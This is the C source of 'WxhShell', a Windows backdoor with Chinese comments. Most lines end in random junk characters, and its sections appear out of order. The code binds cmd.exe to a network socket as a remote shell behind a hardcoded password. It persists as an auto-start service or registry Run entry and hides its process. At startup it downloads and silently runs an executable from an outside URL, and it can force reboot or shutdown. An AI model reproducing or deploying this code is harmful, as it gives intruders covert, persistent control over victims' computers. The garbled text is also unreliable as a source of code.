    if(Boot(SHUTDOWN)) r!K|E95oj9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &!1}`4$[T  
    else { ;KcFy@ 6q5  
    closesocket(wsh); ?`P2'i<b  
    ExitThread(0); F6dr  
    } gdi`x|0  
    break; yQ[u3tI  
    } w0Ij'=:  
  // 获取shell Y @}FL;3  
  case 's': { D4Sh9:\  
    CmdShell(wsh); s~$zWx@v  
    closesocket(wsh); =`p&h}h-L  
    ExitThread(0); PDC]wZd/  
    break; -g~~]K%  
  } %f!iHo+Z  
  // 退出 6P+DnS[]  
  case 'x': { XO wiHW{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S< x:t(  
    CloseIt(wsh); 4/MNqit+  
    break; fNoR\5}!  
    } fIyPFqf7w)  
  // 离开 ~@fR[sg<  
  case 'q': { d=F-L  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `K?1L{p'4  
    closesocket(wsh); GZ3/S|SMP  
    WSACleanup(); CW0UMPE5  
    exit(1); :s*>W$Wp4  
    break; _4R,Ej}  
        } {L9yhYw  
  } j>!sN`dBj  
  } t)I0lnbs  
\"d?=uFe  
  // 提示信息 ?}sOG?{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o#e7,O  
} j'Wp  
  } SE!L :  
e1P7 .n}  
  return; -,GEv%6c  
} E1W:hGI  
c{>|o  
// shell模块句柄 A,c'g}:  
int CmdShell(SOCKET sock) Y:pRcO.4g  
{ :_H>SR:  
STARTUPINFO si; Jsn <,4DO8  
ZeroMemory(&si,sizeof(si)); ]kS7n @8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q^Inb)FeN  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]{Ek[Av  
PROCESS_INFORMATION ProcessInfo; xIgql}.  
char cmdline[]="cmd"; c]v +  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Taasi` k  
  return 0; Mi74Xl i  
} QymD-A"P  
O71BM@2<  
// 自身启动模式 s.y}U5Ty?P  
int StartFromService(void) g1qi\axm  
{ 8]C1K Zs  
typedef struct 7) 0q--B  
{ 2U%qCfh6|  
  DWORD ExitStatus; BKA]G)G7u!  
  DWORD PebBaseAddress; 1+^n!$  
  DWORD AffinityMask; Ab g$W/(|  
  DWORD BasePriority; :t>Q:mX(N  
  ULONG UniqueProcessId; 7@P656{  
  ULONG InheritedFromUniqueProcessId; Z| L2oc e  
}   PROCESS_BASIC_INFORMATION; /f&By p  
b *9-}g:  
PROCNTQSIP NtQueryInformationProcess; *?N<S$m  
<E}N=J'uJ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )ddsyFGW  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P6we(I`"2  
+ *a7GttU  
  HANDLE             hProcess; J wFned#T  
  PROCESS_BASIC_INFORMATION pbi; ][t 6VA  
[ &daG:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); iGa}3pF  
  if(NULL == hInst ) return 0; @dV9Dpu  
T6=-hA^A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;eh/_hPM  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1;`Fe":;vC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); CJA+v-  
KZ3B~#oQ  
  if (!NtQueryInformationProcess) return 0; F[`vH  
W.$6 pzB(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [B,p,Q"  
  if(!hProcess) return 0; o^PuhVu  
A'~#9@l<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %~\  
WRM$DA  
  CloseHandle(hProcess); raHVkE{<  
H:Lt$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1p=&WM  
if(hProcess==NULL) return 0; %,;gP.dh7  
* gHCy4u{  
HMODULE hMod; `EVg'?pl  
char procName[255]; +"Ub/[J{G1  
unsigned long cbNeeded; Gl;f#}  
j"6:A  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2_N/wR#=&  
to51hjV  
  CloseHandle(hProcess); 3W'FcE)|E  
o}W;Co  
if(strstr(procName,"services")) return 1; // 以服务启动 ',#   
J% AG`  
  return 0; // 注册表启动 idz9YpW  
} QQq/5r4O`q  
.5z&CJDiIi  
// 主模块 i*z0Jf["  
int StartWxhshell(LPSTR lpCmdLine) XLocg  
{ \-d '9b?  
  SOCKET wsl; 7@@<5&mN  
BOOL val=TRUE; LU G9 #.  
  int port=0;  feN!_ -  
  struct sockaddr_in door; dFMAh&:>  
|Q6h /"2  
  if(wscfg.ws_autoins) Install(); OF-WUa4t  
_T a}B4;  
port=atoi(lpCmdLine); nqeVV&b!  
6Wb!J>93  
if(port<=0) port=wscfg.ws_port; _[%n ~6  
nUqL\(UuY  
  WSADATA data; ]Y=S  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <b'1#Pd>0  
:ovt?q8">  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Kk>DYHZ6y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sy=dY@W^  
  door.sin_family = AF_INET; u ]SZ{[ e  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 90(UgK&Y  
  door.sin_port = htons(port); V:8@)Hc=  
/D8EI   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { g<a<{|  
closesocket(wsl); j^{b^!4~}  
return 1; 01o [!nT  
} %VS 2M #f  
tbS#^Y  
  if(listen(wsl,2) == INVALID_SOCKET) { _E (x2BS?  
closesocket(wsl); $i -zMa  
return 1; df yrn%^Ia  
} #XfT1  
  Wxhshell(wsl); Yq{jEatY{/  
  WSACleanup(); CMFC"eS e  
<irpmRQr  
return 0; Z) t{JHm:  
#:Xa'D+  
} Z]7tjRvq)  
] .`_, IO  
// 以NT服务方式启动 k3#wLJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ZLuPz#  
{ qNy-o\;XN  
DWORD   status = 0; 8,H~4Ce3  
  DWORD   specificError = 0xfffffff; oLd:3,p}  
X= SG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8M~u_`6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; C&e8a9*,(a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Eh:yR J_8  
  serviceStatus.dwWin32ExitCode     = 0; :Nkz,R?  
  serviceStatus.dwServiceSpecificExitCode = 0; &D^e<j}RQ  
  serviceStatus.dwCheckPoint       = 0; Agz=8=S%  
  serviceStatus.dwWaitHint       = 0; IE|, ~M2  
fmBkB8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >r~|1kQ.  
  if (hServiceStatusHandle==0) return; y=wdR|b  
[Zh2DNp  
status = GetLastError(); k5q(7&C  
  if (status!=NO_ERROR) ]M uF9={  
{ K1<k+t/V  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; JLml#Pu4  
    serviceStatus.dwCheckPoint       = 0; g4i #1V=  
    serviceStatus.dwWaitHint       = 0; b13nE .  
    serviceStatus.dwWin32ExitCode     = status; YN$`y1V  
    serviceStatus.dwServiceSpecificExitCode = specificError; G$|G w  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); X:DMT>5k  
    return; @f\ X4!e*y  
  } :bI,rEW#_  
" xlJs93c  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; M.X}K7Z_/  
  serviceStatus.dwCheckPoint       = 0; s *K:IgJ/  
  serviceStatus.dwWaitHint       = 0; MV9r5|3-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Kjv2J;Xuh  
} [@x  
t&3 8@p  
// 处理NT服务事件,比如:启动、停止 $4sA nu]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 80dSQ"y  
{ tD865gi  
switch(fdwControl) N=.}h\{0  
{ >}mNi:6xq  
case SERVICE_CONTROL_STOP: dWMccn;-m  
  serviceStatus.dwWin32ExitCode = 0; 3Nc'3NPQ'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; e5QOB/e&  
  serviceStatus.dwCheckPoint   = 0; ]Kof sU_{  
  serviceStatus.dwWaitHint     = 0; p1C_`f N,  
  { Q:kwQg:~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g^qz&;R]  
  } .iN-4"_j1  
  return; vs* >onCf  
case SERVICE_CONTROL_PAUSE: *13g <#$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u4@, *tT  
  break; 2m|Eoc&M_  
case SERVICE_CONTROL_CONTINUE: hjw4Xzju  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; t2~"B&7My  
  break; /nwxuy  
case SERVICE_CONTROL_INTERROGATE: uwmoM>I W^  
  break; 6Q?BwD+>  
}; :vw0r`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1<;\6sg  
} SlR7h$r'  
?56~yQF/2  
// 标准应用程序主函数 |C^ c0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) tWcizj;?wK  
{ ^ sS>Mts  
w{RNv%hJ$=  
// 获取操作系统版本 q/A/3/  
OsIsNt=GetOsVer(); O 0Vn";Q 4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )j]gm i"  
V|+ `L-  
  // 从命令行安装  F|DR  
  if(strpbrk(lpCmdLine,"iI")) Install(); <Sz>ZIISd  
)r-T=  
  // 下载执行文件 *xEI Zx  
if(wscfg.ws_downexe) { CX1L(Y[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .i1jFwOd|G  
  WinExec(wscfg.ws_filenam,SW_HIDE); b0!*mrF]6  
} lO%MyP  
s@/B*r9  
if(!OsIsNt) { pK-_R#  
// 如果时win9x,隐藏进程并且设置为注册表启动 wgC??Be;ut  
HideProc(); lpIteZw:  
StartWxhshell(lpCmdLine); )e @01l  
} Z|V"8jE  
else MA~|y_V  
  if(StartFromService()) H(  
  // 以服务方式启动 NEjPU#@c  
  StartServiceCtrlDispatcher(DispatchTable); :(5]Z^  
else er&uC4Y]a  
  // 普通方式启动 :!r9 =N9  
  StartWxhshell(lpCmdLine); Bu*W1w\  
a7ub.9>  
return 0; |Ba4 G`  
} 3?a0 +]  
@m*&c*r  
0sq=5 BnO  
)pkhir06t  
=========================================== oG|?F4l*  
2U-#0,ll]  
"`gfy  
)$2%&9b  
]#vvlM>/  
:DS2zA  
" R[mH35D/  
}CB=c]p  
#include <stdio.h> MAm1w'ol"  
#include <string.h> oO!1  
#include <windows.h> (mD-FR@#  
#include <winsock2.h> /\IAr,w[  
#include <winsvc.h> x!Z:K5%O  
#include <urlmon.h> F{a0X0ru~  
S!`4Bl  
#pragma comment (lib, "Ws2_32.lib") wgSR*d>y*9  
#pragma comment (lib, "urlmon.lib") g=8|z#S  
):|G k Sm  
#define MAX_USER   100 // 最大客户端连接数 TFiuz; *|  
#define BUF_SOCK   200 // sock buffer 7I2a*4}  
#define KEY_BUFF   255 // 输入 buffer m'G?0^Ft  
N7RG5?  
#define REBOOT     0   // 重启 &0;{lS[N:L  
#define SHUTDOWN   1   // 关机 P#vv+]/  
3B!&ow<rt  
#define DEF_PORT   5000 // 监听端口 N}.Q%&6:  
sRo<4U0M;l  
#define REG_LEN     16   // 注册表键长度 )A>U<n$h  
#define SVC_LEN     80   // NT服务名长度 i_oro "%yL  
;-Y]X(z>  
// 从dll定义API mh!N^[=n  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g:~?U*f-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?~]1Gd  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .N-'; %8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); nzQYn  
u8{@PlS  
// wxhshell配置信息 `Yo -5h  
struct WSCFG { ?<>,XyY  
  int ws_port;         // 监听端口 X:xC>4]gG'  
  char ws_passstr[REG_LEN]; // 口令 D7gX,e  
  int ws_autoins;       // 安装标记, 1=yes 0=no S<2CG)K[  
  char ws_regname[REG_LEN]; // 注册表键名 Q KcF1?  
  char ws_svcname[REG_LEN]; // 服务名 d[P>jl%7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 n)1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <{-(\>f!9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hy!'Q>[`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no = C$ @DNEc  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" o3\SO  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u~naVX\3b  
%>I?'y^  
}; c'TiWZP~  
Y*5@|Q  
// default Wxhshell configuration M&}oat*  
struct WSCFG wscfg={DEF_PORT, _Vk,&'  
    "xuhuanlingzhe", HwV gT"  
    1, WacU@L $A  
    "Wxhshell", KL:6P-3  
    "Wxhshell", c4qp3B_w  
            "WxhShell Service", M'>D[5;N~  
    "Wrsky Windows CmdShell Service", \M'bY:  
    "Please Input Your Password: ", V{AH\IV-  
  1, r0hta)xa  
  "http://www.wrsky.com/wxhshell.exe", Je4.9?Ch  
  "Wxhshell.exe" |)!k @?_  
    }; alb+R$s  
]"2 v7)e  
// 消息定义模块 3-_U-:2"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :xAe<Pq  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Z)6nu)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5b{yA~ty  
char *msg_ws_ext="\n\rExit."; >2/wzsW  
char *msg_ws_end="\n\rQuit."; QBPvGnb  
char *msg_ws_boot="\n\rReboot..."; ^ T:qT*v  
char *msg_ws_poff="\n\rShutdown..."; %x'bo>h@  
char *msg_ws_down="\n\rSave to "; ;I`,ZKY  
|Ad6~E+aL-  
char *msg_ws_err="\n\rErr!"; gv Rc:5B[  
char *msg_ws_ok="\n\rOK!"; QU,TAO  
&)"7am(S`  
char ExeFile[MAX_PATH]; nM(=bEX  
int nUser = 0; cV=_G E  
HANDLE handles[MAX_USER]; '7O{*=`oj  
int OsIsNt; WV !kA_  
xj00eL  
SERVICE_STATUS       serviceStatus; die2<'\4%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; tmY-m,U  
.1[2 CjQ  
// 函数声明 hklO:,`  
int Install(void); nX.sh  
int Uninstall(void); dx?njR  
int DownloadFile(char *sURL, SOCKET wsh); r3BDq  
int Boot(int flag); _'v }=:X  
void HideProc(void); u=v%7c2Mx}  
int GetOsVer(void); qeK  
int Wxhshell(SOCKET wsl); tE9_dR^K  
void TalkWithClient(void *cs); :zn ?<(sQ  
int CmdShell(SOCKET sock); %9 -#`  
int StartFromService(void); @cTZ`bg  
int StartWxhshell(LPSTR lpCmdLine); .^N#|hp^  
8)q]^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yZ(Nv $[5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); yK>0[6l  
q:~`7I  
// 数据结构和表定义 }96/: ;:k  
SERVICE_TABLE_ENTRY DispatchTable[] = hO<w]jV,  
{ meM.?kk(  
{wscfg.ws_svcname, NTServiceMain}, |>/&EElD  
{NULL, NULL} /Y\E68_Fh  
}; eI=Y~jy  
?C>VB+X}y  
// 自我安装 m^oi4mV  
int Install(void) n.8A Ka6  
{ +O!M>  
  char svExeFile[MAX_PATH]; 7p>-oR"  
  HKEY key; %6c*dy  
  strcpy(svExeFile,ExeFile); W|-N>,G  
)r6SGlE[Y  
// 如果是win9x系统,修改注册表设为自启动 {,  *Y  
if(!OsIsNt) { 4k&O-70y4^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9snyX7/!L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '__3[D  
  RegCloseKey(key); ZNH*[[Pf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GT\s!D;<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3RH# e1Y  
  RegCloseKey(key); f{ 4G  
  return 0; v[yTk[zd0  
    } ^p-e  
  } <sWcS; x  
} @tv];t  
else { MCrO]N($b  
l^eNZ3:H  
// 如果是NT以上系统,安装为系统服务 <1 1Tqb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J&U0y  
if (schSCManager!=0) 8,H5G`  
{ t ]I(98pY  
  SC_HANDLE schService = CreateService vhquHy.qi#  
  ( Q"K>ML>0  
  schSCManager, A7,$y!D  
  wscfg.ws_svcname, 2p;}wYt  
  wscfg.ws_svcdisp, n.qxxzEN  
  SERVICE_ALL_ACCESS, Z"%O&O  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ; R|#ae@  
  SERVICE_AUTO_START, ~ :b:_ 5"  
  SERVICE_ERROR_NORMAL, gc8PA_bFz  
  svExeFile, ]gZ8b- 2O  
  NULL, DEwtP  
  NULL, -.Pu5et4  
  NULL, Wo WM  
  NULL, T# _n-b>  
  NULL NUNn[c  
  ); ,ZP3F+XKb  
  if (schService!=0) O\8|niW|  
  { F?,&y)ri  
  CloseServiceHandle(schService); U!I_i*:U  
  CloseServiceHandle(schSCManager); {LJ6't 8y:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); RWPd S  
  strcat(svExeFile,wscfg.ws_svcname); )w 8lusa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,vdP #:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); s$\8)V52  
  RegCloseKey(key); B[_bJ *  
  return 0; >0+|0ba  
    } v7OV;e a$  
  } cxJK>%84  
  CloseServiceHandle(schSCManager); I/b8  
} $\@ V4  
} ,t&-`U]AX  
~md|k  
return 1; nh&<fnh  
} >dm._*M  
'%RK KA  
// 自我卸载 <VxpMF  
int Uninstall(void) MJ/%$  
{ _NqT8C4C  
  HKEY key; *_K-T#  
GuY5 % wr  
if(!OsIsNt) { <w2NJ ~M^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6.7 Kp  
  RegDeleteValue(key,wscfg.ws_regname); |{LaZXU&  
  RegCloseKey(key); XM@i|AK M0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P$ dgO  
  RegDeleteValue(key,wscfg.ws_regname); Z *<x  
  RegCloseKey(key); w~KBk)!*  
  return 0; pBnf^Ew1  
  } -GWzMBS S  
} dQ|Ht[ s=  
} @N_H]6z4  
else { od's1'c R  
x)wt.T?eL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~)8i5p;P/k  
if (schSCManager!=0) |Ge/|;.v`  
{ 3a)Q:#okD  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /FV6lR!0^  
  if (schService!=0) 0#{]!>R  
  { YB1DL ^ :  
  if(DeleteService(schService)!=0) { _ * s  
  CloseServiceHandle(schService); qe"6#@b *|  
  CloseServiceHandle(schSCManager); <07W&`Dw  
  return 0; sr@XumT  
  } }_/h~D9-T#  
  CloseServiceHandle(schService); &c9Fw:f;  
  } !=:MG#p  
  CloseServiceHandle(schSCManager); <H@!Xw;  
} -LK(C`gB  
} f=O>\  
g+r{>x  
return 1; BCZnF /Zo  
} PZg]zz=V4  
uvv-lAbjw  
// 从指定url下载文件 [%,=0P}  
int DownloadFile(char *sURL, SOCKET wsh) PyxN_agf  
{  mFoK76  
  HRESULT hr; DSZhl-uGM  
char seps[]= "/"; AbI*/ |sY  
char *token; 4x?u5L 9o  
char *file; 9.#R?YP$  
char myURL[MAX_PATH]; >8;%F<o2  
char myFILE[MAX_PATH]; d4h(F,K7V  
)[X!/KR90  
strcpy(myURL,sURL); )bU")  
  token=strtok(myURL,seps); _"bvT?|  
  while(token!=NULL) $<% nt  
  { -t'oW*kdL  
    file=token; vk+%#w  
  token=strtok(NULL,seps); ZjW| qb  
  } !enz05VW6.  
EjE`S_i=  
GetCurrentDirectory(MAX_PATH,myFILE); XTaWd0Y  
strcat(myFILE, "\\"); RW[<e   
strcat(myFILE, file); \0T*msYQ  
  send(wsh,myFILE,strlen(myFILE),0); Xt*%"7yTp  
send(wsh,"...",3,0); f/i,Zw  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +9rbQ? '  
  if(hr==S_OK) 6U9Fa=%>}  
return 0; ayz1i:Q|  
else |/\1nWD  
return 1; $v@$oPmMj  
=V]i?31[  
} Q09~vFBg  
58'y~Ou  
// 系统电源模块 H>X1(sh#}  
int Boot(int flag) C\@YH]  
{ XXmu|h  
  HANDLE hToken; u N0fWj]  
  TOKEN_PRIVILEGES tkp;  VgoKi  
"hY^[@7 W  
  if(OsIsNt) { [m[~A|S  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Dx*oSP.qX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); GJfNO-  
    tkp.PrivilegeCount = 1; 'c(Y")QP  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~cj:AIF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~0GX~{;r  
if(flag==REBOOT) { q ? TI,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) M|=$~@9#X  
  return 0; Nh/ArugP5P  
} 9],"AjD  
else { zR_l ^NK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) BW=6gZ_  
  return 0; 0 3 $ W  
} @$} \S  
  } r9*H-V$  
  else { l<_mag/j9o  
if(flag==REBOOT) { '6J$X-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Eakjsk  
  return 0; %-po6Vf  
} P,=J"%a-  
else {  HcS^3^Y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F4(U~n<  
  return 0; ,.MG&O  
} 8>;o MM  
} Yx c >+mx  
3-%~{(T/  
return 1; ;K-t  
} :S6 <v0`Z  
vJ}  
// win9x进程隐藏模块 vz5 RS  
void HideProc(void) m|FONQ,@D  
{ LOkDx2@g  
LgKEg90w(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8k'em/M~  
  if ( hKernel != NULL ) v~QZO4[ '  
  { d}J#wT  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wk/U"@lq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Q[tz)99~  
    FreeLibrary(hKernel); i.,B 0s] Z  
  } uW_ /7ex  
< _uv!N  
return; F$p,xFH#  
} }gaKO 5  
8GQs9  
// 获取操作系统版本 U<byR!qLie  
int GetOsVer(void) (7!(e  ,  
{ vG:,oB}  
  OSVERSIONINFO winfo; v3#47F)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); n:z>l,`C]  
  GetVersionEx(&winfo); ?KW?] o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) IWnW(>V  
  return 1; D"5~-9<  
  else MRu+:Y=K  
  return 0; S@-X?Lu  
} YP97D n  
]HT>-Ba;{h  
// 客户端句柄模块 .gg0:  
int Wxhshell(SOCKET wsl) KO$8lMm$  
{ @cNI|T  
  SOCKET wsh; #]^`BQ>  
  struct sockaddr_in client; ueo3i1  
  DWORD myID; "+Rm4_  
9j9?;3;  
  while(nUser<MAX_USER) C,.{y`s'  
{ oD`BX  
  int nSize=sizeof(client); Yy1Pipv  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ||NCVGJG  
  if(wsh==INVALID_SOCKET) return 1; C.p*mO&N  
w=2 X[V}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w` :KexD+  
if(handles[nUser]==0) .1M>KRSr,  
  closesocket(wsh); uS.a9 Q(  
else 'iK*#b8l  
  nUser++; JDlIf  
  } `r LMMYD=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e#{L ~3  
0C_Qp%Z  
  return 0; :g_ +{4  
} d^>se'ya  
roQIP%h!  
// 关闭 socket a)b@en;v  
void CloseIt(SOCKET wsh) mAKi%)  
{ A(5? ci  
closesocket(wsh); qpCi61lTDJ  
nUser--; JOk`emle  
ExitThread(0); "5bk82."  
} V4D&&0&n  
VNPd L  
// 客户端请求句柄 _95tgJy  
void TalkWithClient(void *cs) ${3OQG  
{ L.[2l Q  
VtFh1FDI\  
  SOCKET wsh=(SOCKET)cs; cMAfW3j: ;  
  char pwd[SVC_LEN]; &2^V<(19  
  char cmd[KEY_BUFF]; Sj+#yct-  
char chr[1]; cFQa~  
int i,j; *x!5I$~J  
A+&Va\|x  
  while (nUser < MAX_USER) { 7#QH4$@1P  
nK$m:=  
if(wscfg.ws_passstr) { e{/\znBS%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Joj8'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *z~Y*Q0  
  //ZeroMemory(pwd,KEY_BUFF); p6*D^-  
      i=0; l71\II  
  while(i<SVC_LEN) { C:cu1Y9  
=?hlgQ  
  // 设置超时 #'oKkrl  
  fd_set FdRead; [g_@<?zg  
  struct timeval TimeOut; ] 2'~e,"O  
  FD_ZERO(&FdRead); wAYc)u#  
  FD_SET(wsh,&FdRead); hJ :+*46  
  TimeOut.tv_sec=8; 3ji#"cX  
  TimeOut.tv_usec=0; !JA63  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5+J/Qm8{bb  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); glpdYg *  
z=sqO'~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); To+{9"$,  
  pwd=chr[0]; 8*ysuL#  
  if(chr[0]==0xd || chr[0]==0xa) { xPv&(XZR  
  pwd=0; ?a}~yz#B(  
  break; :OM>z4mQ  
  } \I=:,cz*,  
  i++;  + h&V;  
    } fA^O  
M?o`tWLhF  
  // 如果是非法用户,关闭 socket =O<BMq{d  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vPi+8)  
} EUgs2Fsb3  
"%Ak[04'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  %JZIg!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1C{~!=6#  
7E'C o|  
while(1) { E {MSi"  
\<%a`IA!*  
  ZeroMemory(cmd,KEY_BUFF); [+GG Wo  
&!=3Fbn  
      // 自动支持客户端 telnet标准   g;pymz  
  j=0; wpvaTHo  
  while(j<KEY_BUFF) { )m U)7@!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?/~1z*XUW  
  cmd[j]=chr[0]; _)Ms9RN  
  if(chr[0]==0xa || chr[0]==0xd) { D~Su82 2  
  cmd[j]=0; |(fWT}tg  
  break; >=bO@)[  
  } li[g =A,  
  j++; u/AN| y  
    } M;OYh  
In r%4&!e  
  // 下载文件 &'R]oeag  
  if(strstr(cmd,"http://")) { K67x.PZ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Onl:eG;@  
  if(DownloadFile(cmd,wsh)) mP-+];gg  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xo,BuK&G  
  else -mXEbsm  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %`~8j H@  
  } Vy biuP  
  else { 0Z\fK>yw  
BB-`=X~:m  
    switch(cmd[0]) { Qk6FK]buV  
  x>Kem$z  
  // 帮助 ~I'h iV^-  
  case '?': { D_{J:Hb  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `CV a`%  
